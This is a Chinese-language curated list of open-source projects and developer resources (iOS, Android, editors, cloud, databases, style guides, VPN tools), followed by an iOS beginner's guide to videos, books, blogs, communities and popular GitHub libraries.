	pop: Facebook开源出来的动画扩展库


	JSQMessagesViewController: 一个优美大方的即时聊天 UI 库


	realm-cocoa: 一个移动端数据库，提供了丰富的数据支持，快速，且不依赖 SQLite


	Surge: Swift 的高效数学运算库，基于 Accelerate


	Masonry: OSX 和 IOS 上用来简化 Autolayout 约束的一个库


	Side-Menu.iOS: 一款精美的侧边栏实现


	AsyncDisplayKit: IOS 上的一款异步界面引擎, 非常流畅, Facebook 出品


	Kiwi: IOS 的 BDD 测试框架


	PonyDebugger: IOS 的远程调试工具, 允许开发者在 Chrome Developer Tool 中调试 IOS 应用


	ObjectiveSugar: 提供一些 Objective-C 的语法糖, 类似于 Ruby 的语法


	SwiftyJSON: Swift 的一个处理 JSON 的库


	Cartography: 在 Swift 中 声明式的使用 Autolayout


	HanekeSwift: Swift 中可用来做缓存的库,对图片的支持尤佳


	RuntimeBrowser: IOS 和 OSX 的运行时类浏览器, 可以查看运行时的头文件, 允许动态加载新模块


	iOS-Runtime-Headers: IOS 运行时头文件, 从RuntimeBrowser抽出


	WBWebViewConsole: 应用内置用于 Debug 的控制台, 支持 UIWebView & WKWebView


	DBCamera: 方便高度自定义相机UI的库


	UIImage-Helpers: 截图、模糊化图片、生成特定颜色的图片，都可以由这个库完成


	SwiftHTTP: Swift 的 HTTP 封装


	VKVideoPlayer: 方便高度自定义视频播放器的库


	MagicalRecord: 基于 Core Data 之上的 ORM, 是 Active Record 的 IOS 版实现, 可以精简 Core Data 代码


	SQLite.swift: SQLite3 的 Swift 层接口实现


	




Android


	Slidr: 一个用于给 Activity 添加滑动消隐效果的库


	material_design_zh: Material Design 的中文协同翻译


	galgo: Android 的日志工具，可以将日志显示在 Activity 的最上端，方便调试


	sweet-alert-dialog: Sweet Alert Android 版本，用于应用内通知和提示


	Side-Menu.Android: 一款精美的侧边栏实现


	dagger: Android 和 Java 的依赖注入库


	picasso: 一款用于下载并缓存图片的库


	ArcAnimator: 实现 ARC 动画的库


	MPAndroidChart: 强大的图表工具




代码效率

CoffeeScript

	coffeescript: Coffeescript 源码




TypeScript

	DefinitelyTyped: 高质量的 TypeScript 资源汇总




Sublime Text


	SublimeCodeIntel: Sublime Text 的代码补全工具，支持多种语言


	Emmet：一个用于提高开发效率的编辑器插件，前身是Zen coding


	SublimeLinter: 一个提供代码质量检测的插件


	SublimeTmpl：快速新建指定的模版文件


	Syntax-highlighting-for-Sass：sass代码高亮插件


	MarkdownEditing: Sublime Text 强大的 Markdown 扩展, 提供快捷键, 主题等


	ApplySyntax: 辅助检测语法插件


	CTags: Sublime Text Ctags 支持插件, 需要安装 ctags


	sublime-react: React 代码高亮




云计算

Docker


	kubernetes: Google 开源的 Docker 集中管控系统


	weave: 用于为基于不同主机的 Docker Containers 创建一个虚拟网络




OS


	linux: linux 源码，Linus 大神之作，只能膜拜了


	smartos-live: Joyent 出品的用于云平台的智能 OS




开源产品(论坛、在线教育、项目管理等)


	Edx: 在线教育平台源代码，Edx


	alchemy_cms: 开源 CMS 系统，基于 Rails


	flynn: 下一代 PAAS 服务产品，用于管理主机或者 AWS 实例


	jsgen: 开源论坛、博客系统, 基于 Node.js, AngularJS, MongoDB


	libreboard: 开源看板系统，除了配色，长得几乎和 Trello 一模一样


	paperwork: 开源笔记系统，类似于Evernote, Microsoft OneNote & Google Keep


	cabot: 开源服务器监控服务


	firefox-ios: IOS 版 Firefox 源代码


	gogs: 一款开源 Git 托管服务，基于 GO 语言开发，类似于 Gitlab


	huginn: 个人代理监控，可以监控天气、Twitter、网站等等，并按照预设的条件发送通知给自己，功能强大！


	nodeclub: 社区系统，基于Node.js 和 MongoDB 开发


	keystone: 基于 Node.js 的 CMS 系统


	apostrophe: 基于 Node.js 的 CMS 系统


	reddit: Reddit 的源代码


	lets-chat: 适合小团队的聊天服务, 可以自己搭建, 基于 Node.js 支持 Restful API, XMPP 等


	dokku: 基于 Docker 的 Mini-Heroku, 最小型的 PAAS 实现


	VLC: VLC 视频播放器源代码


	HackerNews-React-Native: HackerNews 基于 React Native 实现


	spree: 基于 Ruby on Rails 的开源在线电子商务网站


	v2ex: V2EX 的 IOS 源代码




代码规范&设计模式

Ruby

	Airbnb 的 ruby 代码编写规范: Airbnb 的 ruby 代码编写规范




Rails

	Rails 代码编写规范: Rails 代码编写规范




Javascript

	umd: 全局模块定义, 提供了几种模块定义规则和模式, 使其可以支持 AMD/CMD/浏览器全局/jQuery插件等




AngularJS


	angularjs-styleguide: AngularJS 代码规范


	Angular-Design-Patterns-Best-Practices: Angular 设计模式的最佳实现




Java

	java-design-patterns: Java 设计模式




Android

	android-best-practices: Android 开发最佳实践




Bash

	bashstyle: Bash 代码编写规范




Objective-C

	objective-c-style-guide: Objective-C 代码编写规范，New York Times 出品




IOS

	ios-good-practices: IOS 开发最佳实践




Swift

	swift-style-guide: Swift 代码编写规范




Design

	web-design-standards: 网站设计标准（美国政府网站）




数据库


	postgrest: PostgreSQL 的 RESTful API


	pgcli: PostgreSQL 命令行工具，提供高亮和自动补全


	mongo: MongoDB 源代码


	nedb: 纯 Javascript 实现，类 MongoDB 的内存型数据库，API 基本和 MongoDB相同，可选同步写入磁盘，小项目数据不太多时性能很强乃至超过MongoDB


	TokuMX MongoDB: TokuMX 版的 MongoDB, MongoDB 的一个分支，支持更快的写速度，完整的事务支持等


	sequelpro: Mac OSX 的 MySQL 数据库管理软件




博客 / 网站

设计


	Dribble: 设计师必上的网站，各种设计资源、创意、分享等


	Design Museum: 当代前沿设计，涉及设计的各个领域


	Behance: 创意&设计资源集合，Adobe 旗下网站(应用)


	Awwwards: 一家筛选评比互联网上最佳网站设计开发的网站


	gooood: 建筑，景观，设计，艺术在线杂志


	ui4app: 专注于 IOS UI 的一个网站，提供各种设计资源


	wookmark: 这上面有分享的各种各样的美图、设计等




技术


	code4app: 专注于IOS 代码的一个网站，提供各种功能实现 Demo


	CSS Tricks: 各种 CSS 技巧


	html5rocks: 提供各种各样关于 HTML5 的资讯


	html5weekly: 提供各种各样关于 HTML5 的资讯和技巧


	rubyweekly: 提供各种各样关于 Ruby 的资讯和技巧


	javascriptweekly: 提供各种各样关于 Javascript 的资讯和技巧


	ng-newsletter: 提供各种各样关于 Angular 的资讯和技巧


	cnodejs: 国内最大最火 Node.js 社区


	ruby-china: 国内最大最火 Ruby 社区


	angularjs: Angularjs 的国内中文社区




书籍 / 阅读 / 学习

Awesome 系列


	awesome: awesome 汇总


	iOS 学习资料整理: IOS 的各种学习资料整理，初学者必备


	awesome-android-libraries: Android 各种开源库的一个汇总


	awesome-android-ui: Android 各种开源UI/UX库的一个汇总


	awesome-courses: 关于计算机科学的各种大学教学课程


	awesome-ruby: Ruby 资源集合


	awesome-go: Go 资源集合


	awesome-cpp: C++ 的资源集合


	awesome-elixir: Elixir 资源集合


	awesome-emacs: Emacs 资源整合


	frontend-dev-bookmarks: 前端开发资源的集合, 内容极多


	awesome-apple: 关于苹果开发的插件/库/文章等资源


	frontend-stuff: 前端相关的各种资源, JS 内容居多


	awesome-swift): Swift 资源整合


	awesome-react: React 资源整合


	awesome-wpo: 一系列前端性能优化集合


	awesome-angularjs: AngularJS 资源整合


	awesome-nodejs : Node.js 资源整合


	awesome-php : PHP 资源整合


	awesome-python : Python 资源整合


	awesome-autoit : 第三方定制开源软件合集


	awesome-books: 一些很不错的开发书籍




前端

Web


	Front-end-Developer-Interview-Questions: 各种前端面试问题


	what-happens-when: 一篇文章，详细解释了从在浏览器中输入网址之后发生的一切


	backbone-fundamentals: 关于 Backbone 的一本书，初学和高级都适用


	http2-spec: HTTP 2 草案


	grid: 响应式布局指南


	fks: 前端技能汇总


	AngularJS-Learning: AngularJS 的各种学习资源


	You-Dont-Know-JS: 一个 Javascript 系列图书，主要讲述 JS 的核心概念和机制


	JavaScript-Garden: 一个关于 Javascript 的诡异特性集合


	在控制台中调试 AngularJS 应用: 在控制台中调试 AngularJS 应用的几种方法


	Learning JavaScript Design Patterns: 学习 Javascript 设计模式


	es6features: ECMAScript 6 特性概览


	es6-tools: ECMAScript 6 工具集合


	frontend-guidelines: 前端指南, 主要讲述 HTML, CSS 和 JS 的最佳实践


	es6tutorial: 《ECMAScript 6入门》是一本开源的JavaScript语言教程，全面介绍ECMAScript 6新增的语法特性。


	AngularJS-Learning: AngularJS 学习资源


	practical-ui-physics: 各种前端物理效果的实现原理


	understandinges6: 电子书： Understanding ES6




IOS


	30min_guides: 覃健祥的学习笔记，若干个几十分钟入门的文档


	The Swift Programming Language 中文版: The Swift Programming Language 中文版, 苹果官方教程的中文翻译


	cocoacontrols: 包含各种 OSX 或者 IOS 的开源 UI 库或者 商业库




Android


	android-training-course-in-chinese: Google Android官方培训课程中文版


	AndroidDevTools: Android 收集整理Android开发所需的Android SDK、开发中用到的工具、Android开发教程、Android设计规范，免费的设计素材等




后端

Node.js


	node-lessons: Node.js 包教不包会


	node-books: 关于 Node.js 的一些书籍


	art-of-node: Node的艺术, 一本简短的书，旨在介绍 Node


	Node.js 实战: 以实战开发中的应用为例的讲解


	http://nodeschool.io/: 基于 Node.js 打造的、跑在终端上的开源教学课程。


	stream-handbook: 讲解 Node Stream(流) 的详细教程,中文版


	7-days-nodejs: 七天学会 Node.js




Ruby

	fast-ruby: 怎样写出更快的 Ruby




PHP


	phpbook: PHP扩展开发及内核应用


	tipi: 深入理解PHP内核


	php-the-right-way: PHP之道




Go

	build-web-application-with-golang: beego 作者写的关于怎么使用 Go 语言开发 web 应用的书




接口

	http-api-design: 从 Heroku 接口总结出的，如何更好地设计 API 接口




算法 & 论文


	The-Art-Of-Programming-By-July: 程序员编程艺术：面试和算法心得


	papers-we-love: 计算机科学学术论文的一个集合，内容丰富有深度




其他


	til: 今天我们学了什么，thoughtbot 出品，建议 watch


	tenant-point: 租房要点，适用于北上广深杭


	linux-insides: 关于 Linux 内核的一些知识


	慕课网: 在线学习平台，各种编程学习资源


	alternative-internet: 一些有趣的新型互联网和技术,主要目的是去中心化


	cocktails_for_programmers: 程序员鸡尾酒, 一个特意为专业节日“程序员日”而建立的鸡尾酒项目！“程序员日”在每年的第256天。


	Wait but Why?: 非常有意思的一个网站, 会有一些有趣的观点和文章


	ideas: 有趣的想法, 更多是一个作者对于编程/软件/工具 的思考和整理


	Developing_iOS_8_Apps_With_Swift: 斯坦福大学公开课： 如何使用 Swift 开发 iOS8 应用




科学上网


	ShadowVPN: 科学上网之 VPN


	shadowsocks: 科学上网利器(服务器端) ~ 墙外的世界丰富多彩


	shadowsocks-android: shadowsocks 安卓客户端


	gfwlist2pac: 科学上网之 GFWlist to Pac


	PPTP VPN 搭建: PPTP VPN 搭建教程


	Google-IPs: Google 全球 IP 地址库


	RevokeChinaCerts: 一次性删除所有 CNNIC 证书的工具


	lantern: 新一代翻墙工具, 借助于P2P, 速度很快




Git 相关


	gitolite: 用于构建 Git 服务器


	lolcommits: 给自己的 git commit


	scm_breeze: Git 流程的辅助简化工具


	gitlet: Javascript 实现的 Git


	js-git: Git 的 Javascript 实现




其他


	retter: 密码学相关的算法库


	uBlock: Chrome, Firefox, Safari 插件用来屏蔽内容（如广告等），可自定义


	rust: Rust 语言源码


	font-spider: 中文 WebFont 自动化压缩工具
加一张杀马特的照片


	github-awesome-autocomplete: Github 的浏览器插件, 用于辅助搜索, 更加人性化的搜索结果


	dotenv: 用于配置本地环境, 可以为不同的文件夹设置不同的环境




License



This work is licensed under a Creative Commons Attribution 4.0 International License.


 iOS 学习资料整理

作者：Paul_King

来源： iOS 学习资料整理



                    
这份学习资料是为 iOS 初学者所准备的, 旨在帮助 iOS 初学者们快速找到适合自己的学习资料, 节省他们搜索资料的时间, 使他们更好的规划好自己的 iOS 学习路线, 更快的入门, 更准确的定位的目前所处的位置.


该文档会持续更新, 同时也欢迎更多具有丰富经验的 iOS 开发者将自己的常用的一些工具, 学习资料, 学习心得等分享上来, 我将定期筛选合并, 文档尚有一些不完善之处, 也请不吝指出, 感谢您对 iOS 所做的贡献, 让我们一起把国内的 iOS 做得更好,  谢谢.



  如果你想帮忙完善这份文档的话, 欢迎上 GitHub 发 PR: https://github.com/Aufree/trip-to-iOS





  如果您有任何意见或建议也可以通过邮件或微博联系我




视频教程(英文)




	视频
  	简介





	Developing iOS 7 Apps for iPhone and iPad
  	斯坦福开放教程之一, 课程主要讲解了一些 iOS 开发工具和 API 以及 iOS SDK 的使用, 属于 iOS 基础视频



	iPad and iPhone Application Development
  	该课程的讲师 Paul Hegarty 是斯坦福大学软件工程学教授, 视频内容讲解得深入, 权威, 深受好评



	Advanced iPhone Development - Fall 2010
  	iOS 开发的进阶课程, 开始涉及到 Core Animation, Core Data, OpenGL 等框架的应用



	iOS Dev Center
  	苹果官方提供的 iOS 学习视频



	Lynda
  	Lynda 上面 iOS 和 Objective-C 的学习资料比较多, 从初级到高级的都有, 覆盖面比较广, 无论 iOS 走到哪个层次, 都可以在上面挑到适合自己的课程



	Code School
  	CodeSchool 上面的 iOS 不多, 不过质量都不错, 一些课程也挺有趣的



	Udemy
  	Udemy 帮助初学者规划了视频学习路线, 从新手到高级分的比较详细





视频教程(中文)




	视频
  	简介





	iOS 7应用开发
  	斯坦福白胡子老爷爷的系列视频, 所有视频皆完成翻译, 视频较新, 翻译质量也很高



	iPhone开发教程2010年冬
  	全部视频翻译完毕, 较为深入的讲解 iPhone 开发, 视频适合给有一定 Objective-C 基础的人观看



	使用Swift开发iOS8 App实战
  	慕课网的视频, 主要讲 Swift 的一些基本使用, 并在讲解的过程中做了几个小 APP, 最后还讲了 Sketch 制作分享按钮



	征战Objective-C
  	视频还未完结, 讲了一些 C 和 Objective-C 的基本语法, 适合零基础的人观看





书籍




	书籍名称
  	推荐理由





	Objective-C Programming
  	内容不多, 却都是精华, 有了一点 C 语言基础可以快速阅读此书, 大概一天时间就可以看完, 看完后对 iOS 开发能够有个基本的印象, 该书的官方论坛有各个章节习题的解答.



	iOS Programming
  	这本书在 Quora 上被评为 iOS 入门最佳书籍,  具体评价可见豆瓣下方该书籍的评论



	Cocoa Design Patterns
  	适合打算深入了解 Cocoa 的人看



	Learn Objective-C
  	短小精练, 适合有编程基础的人在半小时内对 Objective-C 有个一定了解



	Programming with Objective-C
  	看完 Learn Obj-C 可以接着看这个官方对 Objective-C 更为深入的介绍



	Objective-C 基础教程
  	该书作者 Scott Knaster 是 Mac 开发界的传奇人物, 目前在 Google 出过多数书籍都广受许多程序员好评, 此书适合从初级跳到中级的 iOS 开发者阅读



	iOS 开发进阶
  	该书作者唐巧是国内 iOS 开发界的名人, 曾参与多个知名软件的开发, 目前该书尚在预售中, 书本内容由浅入深, 将读者一步一步引入到 iOS 中去, 同样适合初级跳到中级的 iOS 开发者阅读



	Programming in Objective-C
  	这本书在亚马逊上面深受欢迎, 有关 Objective-C 的东西讲得非常详细



	iOS 测试指南
  	该书作者是豆瓣的员工, 书中写的多数内容都是作者在平时的工作实践当中提炼出来的测试经验, 重点讲述了各个测试阶段的具体实践方法, 并且通过持续集成串联了各个测试阶段的活动。



	Objective-C编程之道
  	解析 iOS 的开山之作, 详细介绍了 MVC 在 Cocoa Touch 上的运作过程, 该书适用于 iOS 中级开发者阅读



	Objective-C高级编程
  	本书主要介绍 iOS 与 OS X 多线程和内存管理, 深入破析了苹果官方公布的源代码,  告诉你一些苹果公司官方文档中不会出现的知识, 适合中级以上 iOS 开发人员阅读



	Effective Objective C 2.0
  	书里写了编写高质量iOS与OS X代码的52个有效方法, 适合 iOS 开发的进阶使用



	Swift Fundamentals
  	估计将来这本书会成为 Swift 的经典入门书籍, 它的 Stars 数说明了一切



	The Swift Programming Language 中文版
  	90 后开发者梁杰组织翻译的 Swift 编程语言中文版





博客




	博客地址
  	博主信息





	OneV's Den
  	王巍(喵神), 现居日本, 就职于 LINE, 知名 iOS 开发者, 写的文章大多深入浅出, 内容广泛, 目前在维护的 Swifter 也值得收藏



	唐巧的技术博客
  	唐巧, 国内知名 iOS 开发者, 现就职于猿题库, 博客推出的 iOS 移动开发周报很受欢迎, 更新频繁



	txx's blog
  	90 后 iOS 开发者, 人称虾神, 文章内容讲解大多浅白易懂, 很值得看



	破船之家
  	博主也是 iOS 大神一个, 经常更新一些 iOS 教程, 文章的质量都很高, 非常值得看



	NSHipster
  	NSHipster 的中文网站, 主要对 NSHipster 的英文网站进行翻译, 博文出自 Mattt 大神之手, 文章大都写得很深入, 详细, 每周一更



	Limboy 无网不剩
  	李忠, 知乎前员工, 目前在负责花瓣 iOS 开发, 不少文章里面有介绍博主个人的学习方法, 让读者在学到技术的同时也掌握学习的技巧



	念茜的博客
  	iOS 圈的女神人物, 写的关于安全问题的文章都值得一看, 由于新博客刚开通不久, 目前文章较少, 可以去看下她以前的博客




	iOS技术周报
  	吴发伟, 天猫资深软件开发工程师, iOS 技术周报每周一更, 推送一些 iOS 技巧, 代码库, 设计等资讯.



	iWangKe.me
  	王轲, IndieBros Studio 创始人, 优秀的 iOS 开发工程师, 写的文章深入浅出, 很多问题分析透彻, 非常有条理性



	叶孤城
  	叶孤城, 优秀 iOS 开发工程师, 发表的文章都有很多干货, 对源码解析类文章写得浅显易懂, 并时常总结一些 iOS 开发技巧, 值得一读



	Kevin Blog
  	周楷雯, 秒视创始人, 知名 iOS 工程师, 做出了 PNChart 和 Waver 这样的好项目, 在博客中也有谈到具体的实现过程



	IMTX
  	图拉鼎, 知名 Apple 平台开发者, 曾经的 Ubuntu 平台开发者, 文章有不少干货, 大多讲解技术实现和学习经验



	更多
  	唐巧收集的中文 iOS/Mac 开发博客列表, 更新频繁, 值得收藏





文章




	标题
  	内容简介





	Learn Objective C: The Path to iPhone Development
  	Udemy 写的文章, 说明了一些学习 Objective-C 的前提条件, Objective-C 的发展历史, 学习方法以及学习资源



	I Want to Write iOS Apps. Where Do I Start?
  	主要对 iOS 的开发环境进行了介绍, 并且涉及到了 Swift 的学习, iOS 上架的注意事项, iOS 的设计, 测试, 代码托管等, 讲解较为广泛, 同时也给出不少学习资源



	How to become a professional iOS developer
  	文章写的很有条理, 文中多次强调了版本控制系统的重要性, 主要内容是对学习 iOS 开发到就职, 给出了自己的建议



	Learning iOS Programming
  	作者总结了一些自己学习 iOS 的血的教训, 最后给出了一些不错学习建议



	Become an iOS Developer
  	作者列举了一些学习 iOS 的方法以及常用的库, 以及自学 iOS 的一些建议



	iOS开发如何提高
  	唐巧写的一篇文章, 主要是对 iOS 技术的提高做的一个总结, 文中不少资源, 工具, 学习方法



	自学 iOS 开发的一些经验
  	文章从入门到进阶到高级, 分为三个阶段, 有条理的讲出了 iOS 的整个学习过程中开发者可能遇到的问题, 并给出了解决办法, 奉献了不少好工具, 资源还有珍贵的学习经验



	如何从 0 开始学 iOS 开发
  	作者给出了学习 iOS 的流程, 并给出一些不错的学习资源



	如果我可以重新学习iOS开发
  	作者在文中给出了学习的一些建议, 也谈到了自己的学习方法



	iOS开发学习路径的一些建议
  	文中谈到了英语的重要性, 以及写博客, 看源代码的好处



	iOS 开发入门
  	作者分享了自己学习 iOS 的经验和资源



	Mac 和 iOS 开发资源汇总
  	破船之家发布的资源汇总





相关网站




	网站
  	简介





	tutsplus
  	不定时更新一些 iOS 教程



	WWDC
  	苹果官方每年一度的 WWDC 视频, 可以了解历年有关 iOS 发布的内容



	ASCIIwwdc
  	WWDC 的文字版



	Awesome Swift
  	该网站收集了很多关于 Swift 的学习资料, 新闻



	Appcoda
  	经常发布一些 iOS 编程教程, 更新比较频繁, 想了解更多可以查看该网站的 About 界面



	NSHipster
  	NSHipster is a journal of the overlooked bits in Objective-C, Swift, and Cocoa. Updated weekly.



	Think and Build
  	Some tutorials about Core Graphic and Core Animation.



	Tutorials
  	大把的 Objective-C, Swift, iOS 教程, 且全部免费, Raywenderlich 真是业界良心, 赞!





社区




	社区
  	简介





	CocoaChina
  	全球最大苹果开发者中文社区



	code4app
  	经常更新一些很不错的 iOS 代码片段和一些 iOS 资源



	objc
  	定期发布一些有关 Objective-C 的高质量的文章



	objc中国
  	喵神组织的对 objc.io 的翻译网站, 旨在推进国内技术圈整体水平, 翻译质量非常高



	DevDiv
  	发布一些 iOS 的最新资讯及教程



	Cocos2d-x
  	Cocos2d-x 论坛



	iPhone Dev SDK
  	国外较有名的 iOS 开发者论坛



	Learn Cocoa and iOS Development Forum
  	
Learn Cocoa on the Mac 和 Beginning iOS 7 Development 这两本书籍的官方论坛, 用户活跃度较高



	Apple Developer Forums
  	苹果官方的开发者论坛



	Swiftist
  	Swift 中文社区





工具/插件




	工具/插件
  	简介





	CocoaPods
  	开发 OS X 和 iOS 应用程序的一个第三方库的依赖管理工具, 本身是 Ruby 的一个 gem, 极大的简化了 Objective-C 的开发流程



	Alcatraz
  	Alcatraz 是一款管理 Xcode 插件、模版以及颜色配置的工具



	XcodeColors
  	使 Xcode 调试控制台色彩更丰富



	xctool
  	Facebook 开源的一个 iOS 编译和测试的工具



	XToDo
  	一款注释辅助插件，主要用于收集并列出项目中的TODO, FIXME, ???, !!!




	KSImageNamed-Xcode
  	自动补全图片命名的一款插件



	VVDocumenter
  	一个自动生成代码注释的工具



	ImageOptim
  	用于压缩图片一款工具



	iOS 必备的 75 个工具
  	其中包含了非常多好用的工具, 涉及到设计, 分析, 部署等, 总结的十分详细, 有中文翻译




	更多
  	唐巧总结的一些图形应用工具, 命令行工具, Xcode 插件, 并介绍了一点基础的用法





GitHub Top 50 简介


主要对当前 GitHub 排名前 50 的项目做一个简单的简介, 方便初学者快速了解到当前 Objective-C 在 GitHub 的情况.




	项目名称
  	项目信息





	1. AFNetworking

  	作者是 NSHipster 的博主, iOS 开发界的大神级人物, 毕业于卡内基·梅隆大学, 开源了许多牛逼的项目, 这个便是其中之一, AFNetworking 采用 NSURLConnection + NSOperation, 主要方便与服务端 API 进行数据交换, 操作简单, 功能强大, 现在许多人都用它取代 ASIHTTPRequest



	2. GPUImage

  	一款强大的图片滤镜工具, 支持自定义滤镜, 可用来实时处理图片和视频流, 作者是 SonoPlot 公司的 CTO, 在很小的时候便开始接触编程, 他在 SO 上面的回答也有很多值得阅读, GPUImage 这个项目从 2012 年开始, 使用 OpenGL 图形程序接口编写, 性能非常好, 现在很多 iOS 程序员都用它来实现 iOS 的模糊效果



	3. three20

  	由 Facebook iOS 客户端衍生出的一款 iPhone 框架, 内置许多丰富的功能, 有丰富的界面, 对底层的操作便捷, 为开发者省下了很多时间, 但现在已经停止了更新, 一个 PR 把代码删得干干净净, 不要好奇去点开 Files changed, 我点开后该页面直接卡死, three20 当中的一位作者创建了 Nimbus, 算是 three20 的一个替代品



	4. RestKit

  	主要用于 iOS 上网络通信, 允许与 RESTful Web 服务交互, 常用于处理 API, 解析 JSON, 映射响应对象等操作, 简单易用, 方便你把所有精力都放在对数据的操作上



	5. SDWebImage

  	作者 Olivier Poitrey 是 Dailymotion 的 CTO, 拥有多个不错的开源项目, 此项目常用于对从 Web 端接受到的图片进行缓存, 是 UIImageView 的扩展, 应用起来比较简单



	6. ReactiveCocoa

  	由 GitHub 工程师们开发的一个应用于 iOS 和 OS X 开发的函数响应式编程新框架, Matt 称其为 "An open source project that exemplifies this brave new era for Objective-C", 也有人说它是 Cocoa 的未来, 具体可看唐巧写的这篇文章




	7. MBProgressHUD

  	作者 Matej Bukovinski 是一位全栈工程师, UI/UX 设计师,  此项目是一款提示框第三方库, 帮助开发者快速应用到项目中)



	8. MagicalRecord

  	作者是 Coursera 的 iOS 工程师, 该项目创作灵感来自于 Ruby on Rails 的 Active Record, 主要为方便操作 CoreData 而生, 帮助清除 CoreData 引用的代码, 协助方便 CoreData 的工作



	9. FMDB

  	一个对 SQLite 进行封装的库, 使用起来方便, 简单



	10. ASIHTTPRequest

  	一个轻量级的 iOS 网络通信类库, 基于 CFNetwork 框架开发, 但现在已经停止更新, 多数开发者改用 AFNetworking 替代)



	11. Mantle

  	作者是 GitHub 的员工, 文档写的很清楚: Mantle makes it easy to write a simple model layer for your Cocoa or Cocoa Touch application, 主要用来将 JSON 数据模型化为 Model 对象, 唱吧在前段时间也改用 Mantle 了.



	12. FlatUIKit

  	收集了很多扁平化 UI 的 iOS 组件, 方便使用



	13. Facebook SDK for iOS

  	Facebook 官方的 iOS SDK, 方便开发者集成 Facebook 的一些功能到自己的 iOS APP 里面



	14. JSONKit

  	主要用于解析 JSON, 适用于 iOS6 以下环境, 自从 iOS5 开始 Apple 官方给出了 NSJSONSerialization API, 自此大家都用官方的了



	15. Slate

  	一款窗口管理应用程序, 但在两年前就已经停止更新了



	16. Nimbus

  	作者 Jeff 曾为 Facebook, Google 做过不少好东西, 也是 three20 的成员之一, three20 停更后, 他创造出这个框架来代替 three20, 文档齐全



	17. FastImageCache

  	Path 公司出品的 iOS 库, 作者 Mallory Paine 是苹果前员工, 此类库适用于在滚动时快速显示图像, 高速持久是其最大的特点



	18. SVProgressHUD

  	又一款轻量级的 iOS 第三方控件, 用于显示任务加载时的动画, 非常轻便, 容易使用



	19. Shimmer

  	Facebook 推出的一款具有闪烁效果的第三方控件, 供它旗下一款名为 Paper 的应用使用, 安装使用整个过程都十分简单



	20. CocoaLumberjack

  	这是 Mac 和 iOS 的一款强大的日志框架, 配置简单, 多线程, 提供更高级的 log 功能, 可用于代替默认的 NSLog 语句



	21. ViewDeck

  	一款开源的 iOS 活动面板组件, 还原 Path 2.0 的侧滑效果, 作者因为时间关系在两年前停止对其更新



	22. Alcatraz

  	Alcatraz 是一款管理 Xcode 插件、模版以及颜色配置的工具, 可以集成到 Xcode 的图形界面中, 安装删除都是几条命令的事, 很方便, 支持自己开发插件并上传



	23. OpenEmu

  	超强的游戏模拟器, 做游戏开发必备, 官网做得也很不错



	24. AsyncDisplayKit

  	Facebook 开源的一款 iOS UI 框架, Paper 用的就是该框架, 另外框架还用到了 Facebook 早期开源 Pop 动画引擎



	25. Xctool

  	是 Facebook 开源的一个命令行工具，用来替代苹果的 XcodeBuild 工具, 极大的方便了 iOS 的构建和测试, 输出错误信息也比较友好, 受到许多 iOS 开发者的称赞, 经常与其搭配使用的还有 OCUnit, Travis CI, OCLint 等测试工具



	26. iCarousel

  	作者是英国 Charcoal Design 公司的创始人, 开源领域的贡献颇为卓著, 这个项目就是其中之一, 这是一款可以在 iOS 上实现旋转木马视图切换效果的第三方控件, 并提供多种切换效果



	27. FLEX

  	这是 Flipboard 官方发布的一组专门用于 iOS 开发的应用内调试工具, 开发者无需将其连接到 LLDB/Xcode 或其他远程调试服务器,支持直接在 App 中运行



	28. Cocos2D Swift

  	这是 Swift 语言版本的 Cocos2D 游戏开发引擎, 核心开发者是 Ricardo Quesada, 已经为该项目贡献了 100W 行左右代码, GitHub 上更新较为频繁



	29. TapkuLibrary

  	作者是 Devin Ross, 这是在 iOS 上一款功能强大的 UI 效果类库, 可以实现多种酷炫的效果, 目前仍在更新中



	30. Masonry

  	一个轻量级的布局框架, 同时支持 iOS 和 Mac OS X, 语法优雅, 帮助开发者快速适配不同分辨率的 iOS 设备



	31. AwesomeMenu

  	作者是一位中国人, 该项目主要是使用 CoreAnimation 还原了 Path menu 的动画效果



	32. PonyDebugger

  	由 Square 公司推出的一款优秀的 iOS 应用网络调试工具, 用户可以实时看到应用程序的网络请求, 也可以对 iOS 应用程序的核心数据栈进行远程调试



	33. NewsBlur

  	作者独自一个人 Samuel Clay 做出来的一款名为 NewsBlur 的新闻阅读器, 很多人都称其为 Google Reader 的替代品, 这是它的源码



	34. JVFloatLabeledTextField

  	作者是 Thumb Labs 的联合创始人, JVFloatLabeledTextField 是 UITextField 的子类, 主要实现输入框标签浮动效果, 创作灵感来自 Dribbble, 已出现多个移植版本



	35. Json Framework

  	用于解析 JSON 数据的一个框架, 但是在 iOS5 以上版本大多数人都选择使用 NSJSONSerialization 来解析 JSON, 该项目现在在 GitHub 上也几乎没怎么更新了



	36. The Physical Web

  	由 Chrome 团队主导的一个项目, 意在用 URL 连接世界, 方便用户接受数据, 目前尚处在实验阶段



	37. Reachability

  	Reachablity 是用于检测 iOS 设备网络环境的库



	38. RESideMenu

  	作者 Roman Efimov 是雅虎的 iOS 工程师, 这个项目实现了 iOS 上的菜单侧滑效果, 创意来源于 dribbble, 该项目支持 iOS8



	39. CocoaAsyncSocket

  	一个功能强大、简单易用的异步 socket 通讯类库, 支持 TCP 和 UDP 协议, 可用于 Mac 和 iOS 设备上, 作者 Robbie Hanson 是 Deusty 的首席软件工程师



	40. ECSlidingViewController

  	一个视图控制器容器, 将子视图处理成两层, 通过滑动来处理层的切换, 创作灵感来自 Facebook 和 Path的 APP, 作者是 Cleveland 的员工



	41. SWTableViewCell

  	UITableViewCell 的子类, 实现了左右滑动显示信息视图并调出按钮



	42. TTTAttributedLabel

  	UILabel 的替代品, 使 iOS 上的 Label 功能更加丰富, 可支持链接植入等功能



	43. Canvas

  	无需编码实现牛逼的动画效果的库, 连设计师都可以快速上手



	44. SocketRocket

  	Square 公司开源的一个 WebSocket 客户端, 稳定并且易用, 做实时应用常会用到, 受广大开发者喜爱



	45. Tweaks

  	Facebook 开源的一款工具, 旨在帮助 iOS 开发者更快的迭代应用, 方便用户动态的调整参数, 是的, Paper 这个项目也用到了



	46. JSQMessagesViewController

  	优雅的 iOS 消息类库, 常用于聊天应用中, 可定制性高



	47. PNChart

  	作者周楷雯是 90 后, 秒视的创始人, 该项目是一个带动画效果的图表控件, 简约易用, 受到不少开发者喜爱



	48. VVDocumenter-Xcode

  	作者是王巍国内著名的 iOS 开发者, 人称喵神, 目前在日本 LINE 公司工作, 该项目帮助开发者轻松的生成注释文档, 节省了不少工作量, 赞



	49. Appirater

  	一款用于提醒用户给你的 APP 打分的工具



	50. BlocksKit

  	一个开源的与 Cocoa 紧密集合的基础性框架





邮件订阅



	
